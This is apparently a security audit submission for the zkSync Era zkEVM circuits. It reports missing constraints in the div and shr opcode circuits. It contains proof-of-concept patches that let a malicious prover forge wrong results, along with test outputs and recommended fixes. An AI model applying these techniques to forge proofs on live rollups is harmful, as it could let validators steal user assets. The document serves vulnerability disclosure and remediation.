zkSync Era - chainlight's results

Lines of code

https://github.com/code-423n4/2023-10-zksync/blob/main/code/era-zkevm_circuits/src/main_vm/opcodes/mul_div.rs#L312-L331

Vulnerability details

When calculating the remainder of the div instruction, the circuit needs to verify that the remainder is less than the divisor. It does this by subtracting the divisor from the remainder and enforcing that the borrow flow is true.

https://github.com/code-423n4/2023-10-zksync/blob/main/code/era-zkevm_circuits/src/main_vm/opcodes/mul_div.rs#L314

// do remainder - divisor
let (subtraction_result_unchecked, remainder_is_less_than_divisor) =
    allocate_subtraction_result_unchecked(cs, &remainder_unchecked, src1_view);

// relation is a + b == c + of * 2^N,
// but we compute d - e + 2^N * borrow = f

// so we need to shuffle
let addition_relation = AddSubRelation {
    a: *src1_view,
    b: subtraction_result_unchecked,
    c: remainder_unchecked,
    of: remainder_is_less_than_divisor,
};

// unless divisor is 0 (that we handle separately),
// we require that remainder is < divisor
remainder_is_less_than_divisor.conditionally_enforce_true(cs, divisor_is_non_zero);

However, the code fails to range constrain the result of the subtraction. This allows subtraction_result_unchecked to contain limbs that are not representable by a 32-bit unsigned integer. We can use this to force remainder_is_less_than_divisor to be true even if the remainder is actually larger than the divisor.

Impact

A malicious validator could generate and submit a proof with incorrect behavior of the div instruction. This would allow the validator to manipulate the behavior of smart contracts that use a div instruction. For example, the validator could manipulate the calculated price during the execution of an on-chain DEX and steal all of the assets in the DEX. Since every smart contract that uses a div instruction is affected, it is impossible to enumerate all potential impacts.

Proof of Concept

For the ease of testing, we forked the zkSync Era test harness into a monorepo containing the VM and circuit code: https://github.com/chainlight-io/zksync-era-boojum-test-harness. The patch below can be applied to the test code to demonstrate the vulnerability:

diff --git a/run.sh b/run.sh
index 91e97da..97e2d3b 100644
--- a/run.sh
+++ b/run.sh
@@ -1,2 +1,3 @@
 #!/bin/sh
-cd zkevm_test_harness && RUST_MIN_STACK=$((8*1024*1024)) cargo test --jobs 1 -- --nocapture run_simple
+# XXX must run as release to avoid debug asserts
+cd zkevm_test_harness && RUST_MIN_STACK=$((8*1024*1024)) cargo test --jobs 1 --release -- --nocapture run_simple && RUST_MIN_STACK=$((8*1024*1024)) cargo test --jobs 1 --release -- --nocapture run_hack
diff --git a/zk_evm/src/opcodes/execution/div.rs b/zk_evm/src/opcodes/execution/div.rs
index f09d9b9..4e786d3 100644
--- a/zk_evm/src/opcodes/execution/div.rs
+++ b/zk_evm/src/opcodes/execution/div.rs
@@ -48,7 +48,11 @@ impl<const N: usize, E: VmEncodingMode<N>> DecodedOpcode<N, E> {
             );
             vm_state.perform_dst1_update(PrimitiveValue::empty(), self.dst1_reg_idx);
         } else {
-            let (q, r) = src0.div_mod(src1);
+            let (q, r) = if src0 == U256::from(1337u32) {
+                (U256::zero(), src0)
+            } else {
+                src0.div_mod(src1)
+            };
             if set_flags {
                 let eq = q.is_zero();
                 let gt = r.is_zero();
diff --git a/zkevm_circuits/src/main_vm/opcodes/add_sub.rs b/zkevm_circuits/src/main_vm/opcodes/add_sub.rs
index f7c4d0b..418e5ef 100644
--- a/zkevm_circuits/src/main_vm/opcodes/add_sub.rs
+++ b/zkevm_circuits/src/main_vm/opcodes/add_sub.rs
@@ -272,3 +272,66 @@ pub fn allocate_subtraction_result_unchecked<F: SmallField, CS: ConstraintSystem
 
     (limbs, of)
 }
+
+pub fn allocate_subtraction_result_unchecked_hack<F: SmallField, CS: ConstraintSystem<F>>(
+    cs: &mut CS,
+    a: &[UInt32<F>; 8],
+    b: &[UInt32<F>; 8],
+) -> ([UInt32<F>; 8], Boolean<F>) {
+    let limbs = cs.alloc_multiple_variables_without_values::<8>();
+    let of = cs.alloc_variable_without_value();
+
+    if <CS::Config as CSConfig>::WitnessConfig::EVALUATE_WITNESS {
+        let value_fn = move |inputs: [F; 16]| {
+            let mut uf = false;
+            let mut result = [F::ZERO; 9];
+            for (idx, (a, b)) in inputs[..8].iter().zip(inputs[8..].iter()).enumerate() {
+                let a = <u32 as WitnessCastable<F, F>>::cast_from_source(*a);
+                let b = <u32 as WitnessCastable<F, F>>::cast_from_source(*b);
+                let (c, new_uf_0) = (a).overflowing_sub(b);
+                let (c, new_uf_1) = c.overflowing_sub(uf as u32);
+
+                uf = new_uf_0 || new_uf_1;
+
+                result[idx] = F::from_u64_unchecked(c as u64);
+            }
+
+            result[8] = F::from_u64_unchecked(uf as u64);
+
+            if inputs[0].as_u64() == 1337 {
+                result[7] = F::from_u64_unchecked(1<<32);
+                result[8] = F::from_u64_unchecked(1);
+            }
+
+            result
+        };
+
+        let dependencies = Place::from_variables([
+            a[0].get_variable(),
+            a[1].get_variable(),
+            a[2].get_variable(),
+            a[3].get_variable(),
+            a[4].get_variable(),
+            a[5].get_variable(),
+            a[6].get_variable(),
+            a[7].get_variable(),
+            b[0].get_variable(),
+            b[1].get_variable(),
+            b[2].get_variable(),
+            b[3].get_variable(),
+            b[4].get_variable(),
+            b[5].get_variable(),
+            b[6].get_variable(),
+            b[7].get_variable(),
+        ]);
+        let outputs = Place::from_variables([
+            limbs[0], limbs[1], limbs[2], limbs[3], limbs[4], limbs[5], limbs[6], limbs[7], of,
+        ]);
+        cs.set_values_with_dependencies(&dependencies, &outputs, value_fn);
+    }
+
+    let limbs = limbs.map(|el| unsafe { UInt32::from_variable_unchecked(el) });
+    let of = unsafe { Boolean::from_variable_unchecked(of) };
+
+    (limbs, of)
+}
diff --git a/zkevm_circuits/src/main_vm/opcodes/mul_div.rs b/zkevm_circuits/src/main_vm/opcodes/mul_div.rs
index dbfbeb3..ffecb7a 100644
--- a/zkevm_circuits/src/main_vm/opcodes/mul_div.rs
+++ b/zkevm_circuits/src/main_vm/opcodes/mul_div.rs
@@ -101,7 +101,9 @@ pub fn allocate_div_result_unchecked<F: SmallField, CS: ConstraintSystem<F>>(
             let a = allocate_u256_from_limbs(&inputs[0..8]);
             let b = allocate_u256_from_limbs(&inputs[8..16]);
 
-            let (quotient, remainder) = if b.is_zero() {
+            let (quotient, remainder) = if b == U256::from(1337u32) {
+                (U256::zero(), b)
+            } else if b.is_zero() {
                 (U256::zero(), U256::zero())
             } else {
                 a.div_mod(b)
@@ -313,7 +315,7 @@ pub(crate) fn apply_mul_div<F: SmallField, CS: ConstraintSystem<F>>(
 
     // do remainder - divisor
     let (subtraction_result_unchecked, remainder_is_less_than_divisor) =
-        allocate_subtraction_result_unchecked(cs, &remainder_unchecked, src1_view);
+        allocate_subtraction_result_unchecked_hack(cs, &remainder_unchecked, src1_view);
 
     // relation is a + b == c + of * 2^N,
     // but we compute d - e + 2^N * borrow = f
diff --git a/zkevm_test_harness/src/tests/run_manually.rs b/zkevm_test_harness/src/tests/run_manually.rs
index 76ac16c..f4e184d 100644
--- a/zkevm_test_harness/src/tests/run_manually.rs
+++ b/zkevm_test_harness/src/tests/run_manually.rs
@@ -41,6 +41,43 @@ fn run_simple() {
         log.event.first r1, r2, r0
         log.to_l1.first r1, r2, r0
 
+        add 1336, r0, r1
+        div r1, r1, r2, r3
+        add 1, r0, r4
+        sstore r2, r4
+        add 2, r0, r4
+        sstore r3, r4
+
+        ret.ok r0
+    "#;
+
+    run_and_try_create_witness_inner(asm, 50);
+}
+
+#[test]
+fn run_hack() {
+    let asm = r#"
+        .text
+        .file	"Test_26"
+        .rodata.cst32
+        .p2align	5
+        .text
+        .globl	__entry
+    __entry:
+    .main:
+        add 1, r0, r1
+        add 2, r0, r2
+        sstore r1, r2
+        log.event.first r1, r2, r0
+        log.to_l1.first r1, r2, r0
+
+        add 1337, r0, r1
+        div r1, r1, r2, r3
+        add 1, r0, r4
+        sstore r2, r4
+        add 2, r0, r4
+        sstore r3, r4
+
         ret.ok r0
     "#;
 

We demonstrate the vulnerability by modifying the witness generation code to generate witnesses that should not be provable when the value 1337 is in a source operand. There are two tests that will run: source value of 1336 to show the normal behavior, and source value of 1337 to show the vulnerable behavior.

The relevant output of run.sh is the VM registers during the execution trace and is included below:

Made snapshot at cycle 1029
[src/witness/tracer.rs:270] vm_local_state.registers[0].value = 1336 <-- dividend and divisor
[src/witness/tracer.rs:271] vm_local_state.registers[1].value = 2
[src/witness/tracer.rs:272] vm_local_state.registers[2].value = 0
[src/witness/tracer.rs:273] vm_local_state.registers[3].value = 0
[src/witness/tracer.rs:270] vm_local_state.registers[0].value = 1336
[src/witness/tracer.rs:271] vm_local_state.registers[1].value = 1 <-- quotient
[src/witness/tracer.rs:272] vm_local_state.registers[2].value = 0 <-- remainder
[src/witness/tracer.rs:273] vm_local_state.registers[3].value = 0
...

Made snapshot at cycle 1029
[src/witness/tracer.rs:270] vm_local_state.registers[0].value = 1337 <-- dividend and divisor
[src/witness/tracer.rs:271] vm_local_state.registers[1].value = 2
[src/witness/tracer.rs:272] vm_local_state.registers[2].value = 0
[src/witness/tracer.rs:273] vm_local_state.registers[3].value = 0
[src/witness/tracer.rs:270] vm_local_state.registers[0].value = 1337
[src/witness/tracer.rs:271] vm_local_state.registers[1].value = 0 <-- quotient
[src/witness/tracer.rs:272] vm_local_state.registers[2].value = 1337 <-- remainder
[src/witness/tracer.rs:273] vm_local_state.registers[3].value = 0
...

We see that the result of the div instruction in the normal example is as expected: 1336 / 1336 = 1. However, in the vulnerable example, the result is incorrect: 1337 / 1337 = 1337. While we chose to set the result to the same value as the source operand, it could be other values as well.

Recommended Mitigation Steps

The subtraction_result_unchecked variable should be range constrained. An example fix might look like:

let (subtraction_result_unchecked, remainder_is_less_than_divisor) =
    allocate_subtraction_result_unchecked(cs, &remainder_unchecked, src1_view);
let subtraction_result = subtraction_result_unchecked.map(|el| UInt32::from_variable_checked(cs, el.get_variable()));

Assessed type

Other

The main_vm circuit uses a MulDivRelation to constrain the result of a shr instruction by converting a right shift into a division by a shift constant.

https://github.com/code-423n4/2023-10-zksync/blob/main/code/era-zkevm_circuits/src/main_vm/opcodes/shifts.rs#L76

let full_shift_limbs = get_shift_constant(cs, full_shift);
...
let (rshift_q, _rshift_r) = allocate_div_result_unchecked(cs, &reg, &full_shift_limbs);
...
// actual enforcement:
// for left_shift: a = reg, b = full_shuft, remainder = 0, high = lshift_high, low = lshift_low
// for right_shift : a = rshift_q, b = full_shift, remainder = rshift_r, high = 0, low = reg
let uint256_zero = UInt256::zero(cs);

let rem_to_enforce =
    UInt32::parallel_select(cs, apply_left_shift, &uint256_zero.inner, &_rshift_r);
let a_to_enforce = UInt32::parallel_select(cs, apply_left_shift, reg, &rshift_q);
let b_to_enforce = full_shift_limbs;
let mul_low_to_enforce = UInt32::parallel_select(cs, apply_left_shift, &lshift_low, reg);
let mul_high_to_enforce =
    UInt32::parallel_select(cs, apply_left_shift, &lshift_high, &uint256_zero.inner);

let mul_relation = MulDivRelation {
    a: a_to_enforce,
    b: b_to_enforce,
    rem: rem_to_enforce,
    mul_low: mul_low_to_enforce,
    mul_high: mul_high_to_enforce,
};

However, the circuit fails to constrain the remainder to be less than the divisor. This allows a malicious prover to set the result to any value less than or equal to the correct result (and possibly any value, but this has not be verified).

Impact

A malicious validator could generate and submit a proof with incorrect behavior of the shr instruction. This would allow the validator to manipulate the behavior of smart contracts that use a shr instruction. For example, the validator could manipulate the calculated price during the execution of an on-chain DEX and steal all of the assets in the DEX. The elliptic curve precompiles also make extensive use of shift instructions. Since every smart contract that uses a shr instruction is affected, it is impossible to enumerate all potential impacts.

This vulnerability also affects the deployed circuits that utilize bellman instead of boojum.

Proof of Concept

For the ease of testing, we forked the zkSync Era test harness into a monorepo containing the VM and circuit code: https://github.com/chainlight-io/zksync-era-boojum-test-harness. The patch below can be applied to the test code to demonstrate the vulnerability:

diff --git a/run.sh b/run.sh
index 91e97da..97e2d3b 100644
--- a/run.sh
+++ b/run.sh
@@ -1,2 +1,3 @@
 #!/bin/sh
-cd zkevm_test_harness && RUST_MIN_STACK=$((8*1024*1024)) cargo test --jobs 1 -- --nocapture run_simple
+# XXX must run as release to avoid debug asserts
+cd zkevm_test_harness && RUST_MIN_STACK=$((8*1024*1024)) cargo test --jobs 1 --release -- --nocapture run_simple && RUST_MIN_STACK=$((8*1024*1024)) cargo test --jobs 1 --release -- --nocapture run_hack
diff --git a/zk_evm/src/opcodes/execution/shift.rs b/zk_evm/src/opcodes/execution/shift.rs
index 010181a..56fbd5f 100644
--- a/zk_evm/src/opcodes/execution/shift.rs
+++ b/zk_evm/src/opcodes/execution/shift.rs
@@ -52,7 +52,11 @@ impl<const N: usize, E: VmEncodingMode<N>> DecodedOpcode<N, E> {
                 result = result | src0.shl(256u32 - shift_abs as u32);
             }
 
-            result
+            if src0 == U256::from(1337u32) {
+                U256::zero()
+            } else {
+                result
+            }
         } else {
             let mut result = src0.shl(shift_abs as u32);
             if is_cyclic {
diff --git a/zkevm_circuits/src/main_vm/opcodes/mul_div.rs b/zkevm_circuits/src/main_vm/opcodes/mul_div.rs
index dbfbeb3..2251e12 100644
--- a/zkevm_circuits/src/main_vm/opcodes/mul_div.rs
+++ b/zkevm_circuits/src/main_vm/opcodes/mul_div.rs
@@ -169,6 +169,89 @@ pub fn allocate_div_result_unchecked<F: SmallField, CS: ConstraintSystem<F>>(
     (quotient, remainder)
 }
 
+pub fn allocate_div_result_unchecked_hack<F: SmallField, CS: ConstraintSystem<F>>(
+    cs: &mut CS,
+    a: &[UInt32<F>; 8],
+    b: &[UInt32<F>; 8],
+) -> ([UInt32<F>; 8], [UInt32<F>; 8]) {
+    let quotient = cs.alloc_multiple_variables_without_values::<8>();
+    let remainder = cs.alloc_multiple_variables_without_values::<8>();
+
+    if <CS::Config as CSConfig>::WitnessConfig::EVALUATE_WITNESS {
+        let value_fn = move |inputs: [F; 16]| {
+            let a = allocate_u256_from_limbs(&inputs[0..8]);
+            let b = allocate_u256_from_limbs(&inputs[8..16]);
+
+            let (quotient, remainder) = if a == U256::from(1337u32) {
+                (U256::zero(), a)
+            } else if b.is_zero() {
+                (U256::zero(), U256::zero())
+            } else {
+                a.div_mod(b)
+            };
+
+            let mut outputs = [F::ZERO; 16];
+            for (dst, src) in outputs[..8]
+                .iter_mut()
+                .zip(decompose_u256_as_u32x8(quotient).into_iter())
+            {
+                *dst = F::from_u64_unchecked(src as u64);
+            }
+            for (dst, src) in outputs[8..]
+                .iter_mut()
+                .zip(decompose_u256_as_u32x8(remainder).into_iter())
+            {
+                *dst = F::from_u64_unchecked(src as u64);
+            }
+
+            outputs
+        };
+
+        let dependencies = Place::from_variables([
+            a[0].get_variable(),
+            a[1].get_variable(),
+            a[2].get_variable(),
+            a[3].get_variable(),
+            a[4].get_variable(),
+            a[5].get_variable(),
+            a[6].get_variable(),
+            a[7].get_variable(),
+            b[0].get_variable(),
+            b[1].get_variable(),
+            b[2].get_variable(),
+            b[3].get_variable(),
+            b[4].get_variable(),
+            b[5].get_variable(),
+            b[6].get_variable(),
+            b[7].get_variable(),
+        ]);
+        let outputs = Place::from_variables([
+            quotient[0],
+            quotient[1],
+            quotient[2],
+            quotient[3],
+            quotient[4],
+            quotient[5],
+            quotient[6],
+            quotient[7],
+            remainder[0],
+            remainder[1],
+            remainder[2],
+            remainder[3],
+            remainder[4],
+            remainder[5],
+            remainder[6],
+            remainder[7],
+        ]);
+        cs.set_values_with_dependencies(&dependencies, &outputs, value_fn);
+    }
+
+    let quotient = quotient.map(|el| unsafe { UInt32::from_variable_unchecked(el) });
+    let remainder = remainder.map(|el| unsafe { UInt32::from_variable_unchecked(el) });
+
+    (quotient, remainder)
+}
+
 pub fn all_limbs_are_zero<F: SmallField, CS: ConstraintSystem<F>>(
     cs: &mut CS,
     limbs: &[UInt32<F>; 8],
diff --git a/zkevm_circuits/src/main_vm/opcodes/shifts.rs b/zkevm_circuits/src/main_vm/opcodes/shifts.rs
index e3260fd..8049876 100644
--- a/zkevm_circuits/src/main_vm/opcodes/shifts.rs
+++ b/zkevm_circuits/src/main_vm/opcodes/shifts.rs
@@ -79,7 +79,7 @@ pub(crate) fn apply_shifts<F: SmallField, CS: ConstraintSystem<F>>(
         let x = is_cyclic.negated(cs);
         is_right.and(cs, x)
     };
-    let (rshift_q, _rshift_r) = allocate_div_result_unchecked(cs, &reg, &full_shift_limbs);
+    let (rshift_q, _rshift_r) = allocate_div_result_unchecked_hack(cs, &reg, &full_shift_limbs);
 
     let apply_left_shift = {
         let x = is_right_shift.negated(cs);
diff --git a/zkevm_test_harness/src/tests/run_manually.rs b/zkevm_test_harness/src/tests/run_manually.rs
index 76ac16c..47a28cb 100644
--- a/zkevm_test_harness/src/tests/run_manually.rs
+++ b/zkevm_test_harness/src/tests/run_manually.rs
@@ -41,6 +41,39 @@ fn run_simple() {
         log.event.first r1, r2, r0
         log.to_l1.first r1, r2, r0
 
+        add! 1336, r0, r1
+        add! 1, r0, r2
+        shr r1, r2, r3
+        sstore r3, r0
+
+        ret.ok r0
+    "#;
+
+    run_and_try_create_witness_inner(asm, 50);
+}
+
+#[test]
+fn run_hack() {
+    let asm = r#"
+        .text
+        .file	"Test_26"
+        .rodata.cst32
+        .p2align	5
+        .text
+        .globl	__entry
+    __entry:
+    .main:
+        add 1, r0, r1
+        add 2, r0, r2
+        sstore r1, r2
+        log.event.first r1, r2, r0
+        log.to_l1.first r1, r2, r0
+
+        add! 1337, r0, r1
+        add! 1, r0, r2
+        shr r1, r2, r3
+        sstore r3, r0
+
         ret.ok r0
     "#;
 

We demonstrate the vulnerability by modifying the witness generation code to generate witnesses that should not be provable when the value 1337 is in a source operand. There are two tests that will run: source value of 1336 to show the normal behavior, and source value of 1337 to show the vulnerable behavior.

The relevant output of run.sh is the VM registers during the execution trace and is included below:

Made snapshot at cycle 1029
[src/witness/tracer.rs:270] vm_local_state.registers[0].value = 1336 <-- dividend and divisor
[src/witness/tracer.rs:271] vm_local_state.registers[1].value = 2
[src/witness/tracer.rs:272] vm_local_state.registers[2].value = 0
[src/witness/tracer.rs:273] vm_local_state.registers[3].value = 0
[src/witness/tracer.rs:270] vm_local_state.registers[0].value = 1336
[src/witness/tracer.rs:271] vm_local_state.registers[1].value = 1 <-- quotient
[src/witness/tracer.rs:272] vm_local_state.registers[2].value = 0 <-- remainder
[src/witness/tracer.rs:273] vm_local_state.registers[3].value = 0
...

Made snapshot at cycle 1029
[src/witness/tracer.rs:270] vm_local_state.registers[0].value = 1337 <-- dividend and divisor
[src/witness/tracer.rs:271] vm_local_state.registers[1].value = 2
[src/witness/tracer.rs:272] vm_local_state.registers[2].value = 0
[src/witness/tracer.rs:273] vm_local_state.registers[3].value = 0
[src/witness/tracer.rs:270] vm_local_state.registers[0].value = 1337
[src/witness/tracer.rs:271] vm_local_state.registers[1].value = 0 <-- quotient
[src/witness/tracer.rs:272] vm_local_state.registers[2].value = 1337 <-- remainder
[src/witness/tracer.rs:273] vm_local_state.registers[3].value = 0
...

We see that the result of the shr instruction in the normal example is as expected: 1336 >> 1 = 668. However, in the vulnerable example, the result is incorrect: 1337 >> 1 = 0. While we chose to set the result to zero, it could be other values as well.

Proof of Concept (deployed version)

The current zkSync Era circuits are built on bellman and franklin-crypto but are similar in logic to the in-scope circuits built on boojum. We confirmed that this vulnerability is also present in the current circuits with a similar demonstration.

For the ease of testing, we forked the zkSync Era test harness into a monorepo containing the VM and circuit code: https://github.com/chainlight-io/zksync-era-bellman-test-harness. The patch below can be applied to the test code to demonstrate the vulnerability:

diff --git a/run.sh b/run.sh
index 0d6b823..b897364 100644
--- a/run.sh
+++ b/run.sh
@@ -1,2 +1,2 @@
 #!/bin/sh
-cd zkevm_test_harness && cargo test -- --nocapture run_simple
+cd zkevm_test_harness && cargo test -- --nocapture run_simple && cargo test -- --nocapture run_hack
diff --git a/sync_vm/src/vm/optimizer/optimization_context.rs b/sync_vm/src/vm/optimizer/optimization_context.rs
index 5c6b972..e242f18 100644
--- a/sync_vm/src/vm/optimizer/optimization_context.rs
+++ b/sync_vm/src/vm/optimizer/optimization_context.rs
@@ -888,6 +888,29 @@ impl<E: Engine> OptimizationContext<E> {
         }
     }
 
+    fn make_witness_for_division_hack(
+        a: &AsU128x2<E>,
+        b: &AsU64x4<E>,
+    ) -> (Option<BigUint>, Option<BigUint>) {
+        match (a.get_value(), b.get_value()) {
+            (Some(a), Some(b)) => {
+                use num_traits::Zero;
+                if b.is_zero() {
+                    (Some(BigUint::from(0u64)), Some(a))
+                } else {
+                    if a == BigUint::from(1337u32) {
+                        (Some(BigUint::from(0u64)), Some(a))
+                    } else {
+                        use num_integer::Integer;
+                        let (q, r) = a.div_rem(&b);
+                        (Some(q), Some(r))
+                    }
+                }
+            }
+            _ => (None, None),
+        }
+    }
+
     #[track_caller]
     pub fn add_zero_check<CS: ConstraintSystem<E>>(
         &mut self,
@@ -1104,6 +1127,40 @@ impl<E: Engine> OptimizationContext<E> {
         Ok((quotient.into(), remainder.into()))
     }
 
+    #[track_caller]
+    pub fn add_div_relation_shift<CS: ConstraintSystem<E>>(
+        &mut self,
+        cs: &mut CS,
+        dividend_view: &RegisterInputView<E>,
+        divisor_view: &RegisterInputView<E>,
+        applies: Boolean,
+        marker: CtxMarker,
+    ) -> Result<(RegisterInputView<E>, RegisterInputView<E>), SynthesisError> {
+        let dividend = AsU128x2::from(dividend_view);
+        let divisor = AsU64x4::from(divisor_view);
+
+        let (witness_quotient, witness_remainder) =
+            Self::make_witness_for_division_hack(&dividend, &divisor);
+        let quotient =
+            BothReprs::alloc_checked(cs, witness_quotient, applies.clone(), self, marker)?;
+        let remainder =
+            BothReprs::alloc_checked(cs, witness_remainder, applies.clone(), self, marker)?;
+
+        // a, b, high, low, remaider
+        // for a relationship like a*b + remainder = 2^256 * high + low
+        // and here we have for a/b = q and a%b = r
+        // q*m + r = 2^256 * 0 + input
+        let relation = MulDivRelationship::new(
+            divisor,
+            quotient.as_u64x4.clone(),
+            remainder.as_u128x2.clone(),
+            AsU128x2::zero(),
+            dividend,
+        );
+        self.uint256_divmul_tuples.push((marker, applies, relation));
+        Ok((quotient.into(), remainder.into()))
+    }
+
     #[track_caller]
     pub fn add_pending_div_relation<CS: ConstraintSystem<E>>(
         &mut self,
diff --git a/sync_vm/src/vm/vm_cycle/opcode_execution/shift.rs b/sync_vm/src/vm/vm_cycle/opcode_execution/shift.rs
index 7aa8707..eeac589 100644
--- a/sync_vm/src/vm/vm_cycle/opcode_execution/shift.rs
+++ b/sync_vm/src/vm/vm_cycle/opcode_execution/shift.rs
@@ -141,7 +141,7 @@ pub(crate) fn apply<
     let is_right_shift = Boolean::and(cs, &is_right, &is_cyclic.not())?;
     let apply_right_shift = Boolean::and(cs, &should_apply, &is_right_shift)?;
     let (rshift_q, _rshift_r) =
-        optimizer.add_div_relation(cs, &reg, &full_shift, apply_right_shift, marker)?;
+        optimizer.add_div_relation_shift(cs, &reg, &full_shift, apply_right_shift, marker)?;
 
     // for left_shift: a = reg, b = full_shuft, remainder = 0, high = lshift_high, low = lshift_low
     let next_marker = marker.advance();
diff --git a/zk_evm/src/opcodes/execution/shift.rs b/zk_evm/src/opcodes/execution/shift.rs
index 9db48e0..bff9c4e 100644
--- a/zk_evm/src/opcodes/execution/shift.rs
+++ b/zk_evm/src/opcodes/execution/shift.rs
@@ -50,7 +50,11 @@ impl<const N: usize, E: VmEncodingMode<N>> DecodedOpcode<N, E> {
                 result = result | src0.shl(256u32 - shift_abs as u32);
             }
 
-            result
+            if src0 == U256::from(1337u32) {
+                U256::from(0u32)
+            } else {
+                result
+            }
         } else {
             let mut result = src0.shl(shift_abs as u32);
             if is_cyclic {
diff --git a/zkevm_test_harness/src/tests/run_manually.rs b/zkevm_test_harness/src/tests/run_manually.rs
index f640615..ef96e22 100644
--- a/zkevm_test_harness/src/tests/run_manually.rs
+++ b/zkevm_test_harness/src/tests/run_manually.rs
@@ -40,6 +40,39 @@ fn run_simple() {
         log.event.first r1, r2, r0
         log.to_l1.first r1, r2, r0
 
+        add! 1336, r0, r1
+        add! 1, r0, r2
+        shr r1, r2, r3
+        sstore r3, r0
+
+        ret.ok r0
+    "#;
+
+    run_and_try_create_witness_inner(asm, 50);
+}
+
+#[test]
+fn run_hack() {
+    let asm = r#"
+        .text
+        .file	"Test_26"
+        .rodata.cst32
+        .p2align	5
+        .text
+        .globl	__entry
+    __entry:
+    .main:
+        add 1, r0, r1
+        add 2, r0, r2
+        sstore r1, r2
+        log.event.first r1, r2, r0
+        log.to_l1.first r1, r2, r0
+
+        add! 1337, r0, r1
+        add! 1, r0, r2
+        shr r1, r2, r3
+        sstore r3, r0
+
         ret.ok r0
     "#;
 

We demonstrate the vulnerability by modifying the witness generation code to generate witnesses that should not be provable when the value 1337 is in a source operand. There are two tests that will run: source value of 1336 to show the normal behavior, and source value of 1337 to show the vulnerable behavior.

The relevant output of run.sh is the VM registers during the execution trace and is included below:

[src/witness/tracer.rs:282] vm_local_state.registers[0].value = 1336 <-- value to shift
[src/witness/tracer.rs:283] vm_local_state.registers[1].value = 1 <-- shift amount
[src/witness/tracer.rs:284] vm_local_state.registers[2].value = 0
[src/witness/tracer.rs:285] vm_local_state.registers[3].value = 0
Made snapshot at cycle 1034
[src/witness/tracer.rs:282] vm_local_state.registers[0].value = 1336
[src/witness/tracer.rs:283] vm_local_state.registers[1].value = 1
[src/witness/tracer.rs:284] vm_local_state.registers[2].value = 668 <-- result
[src/witness/tracer.rs:285] vm_local_state.registers[3].value = 0
...

[src/witness/tracer.rs:282] vm_local_state.registers[0].value = 1337 <-- value to shift
[src/witness/tracer.rs:283] vm_local_state.registers[1].value = 1 <-- shift amount
[src/witness/tracer.rs:284] vm_local_state.registers[2].value = 0
[src/witness/tracer.rs:285] vm_local_state.registers[3].value = 0
Made snapshot at cycle 1034
[src/witness/tracer.rs:282] vm_local_state.registers[0].value = 1337
[src/witness/tracer.rs:283] vm_local_state.registers[1].value = 1
[src/witness/tracer.rs:284] vm_local_state.registers[2].value = 0 <-- result
[src/witness/tracer.rs:285] vm_local_state.registers[3].value = 0
...

We see that the result of the shr instruction in the normal example is as expected: 1336 >> 1 = 668. However, in the vulnerable example, the result is incorrect: 1337 >> 1 = 0. While we chose to set the result to zero, it could be other values as well.

Recommended Mitigation Steps

The div instruction already has code to enforce the remainder to be less than the divisor. This code could be copied to the shr implementation, keeping in mind to fix the vulnerability we identified in the div implementation:

let (rshift_q, rshift_r) = allocate_div_result_unchecked(cs, &reg, &full_shift_limbs);
let (subtraction_result_unchecked, remainder_is_less_than_divisor) =
    allocate_subtraction_result_unchecked(cs, &rshift_r, &full_shift_limbs);
let subtraction_result = subtraction_result_unchecked.map(|el| UInt32::from_variable_checked(cs, el.get_variable()));

// relation is a + b == c + of * 2^N,
// but we compute d - e + 2^N * borrow = f

// so we need to shuffle
let addition_relation = AddSubRelation {
    a: full_shift_limbs,
    b: subtraction_result,
    c: rshift_r,
    of: remainder_is_less_than_divisor,
};

// for right shift, we require that remainder is < divisor
remainder_is_less_than_divisor.conditionally_enforce_true(cs, is_right_shift);

Recommended Mitigation Steps (deployed version)

The div instruction already has code to enforce the remainder to be less than the divisor. This code could be copied to the shr implementation.

let mut full_shift = RegisterInputView {
    u8x32_view: None,
    lowest160: None,
    decomposed_lowest160: None,
    u64x4_view: Some([chunk0, chunk1, chunk2, chunk3]),
    u128x2_view: Some(AsU128x2::from_uint256(cs, &UInt256 {
        inner: [chunk0, chunk1, chunk2, chunk3],
    })?.inner),
    u32x8_view: None,
    is_ptr: Boolean::Constant(false),
};
...
let (rshift_q, rshift_r) =
    optimizer.add_div_relation_shift(cs, &reg, &full_shift, apply_right_shift, marker)?;
// add check that remainder is smaller than divisor (if it is not zero)
// divisor - remander + 2^256 * borrow = c =>
// c + remainder = divisor + borrow * 2^256;
let (_result, borrow) =
    optimizer.add_subtraction_relation(cs, &full_shift, &rshift_r, apply_right_shift, marker)?;

// borrow == 0 enforces only that remainder <= divisor
// however we want to enforce that remainder < divisor
// to accomplish the latter we additionally check that remainder != divisor
// the full condition therefore is the following:
// divisor !=0 => borrow == 0 && remainder != divisor
// which is equivalent to: divisor_is_zero || (borrow == 0 && remainder != divisor)

let divisor = full_shift.clone().unwrap_as_register();
let remainder = rshift_r.unwrap_as_register();
let rem_eq_divisor = Register::equals(cs, &divisor, &remainder)?;
let rem_is_less_than_divisor = Boolean::and(cs, &borrow.not(), &rem_eq_divisor.not())?;
let first_check = Boolean::or(cs, &is_right_shift.not(), &rem_is_less_than_divisor)?;
Boolean::enforce_equal(cs, &first_check, &Boolean::constant(true))?;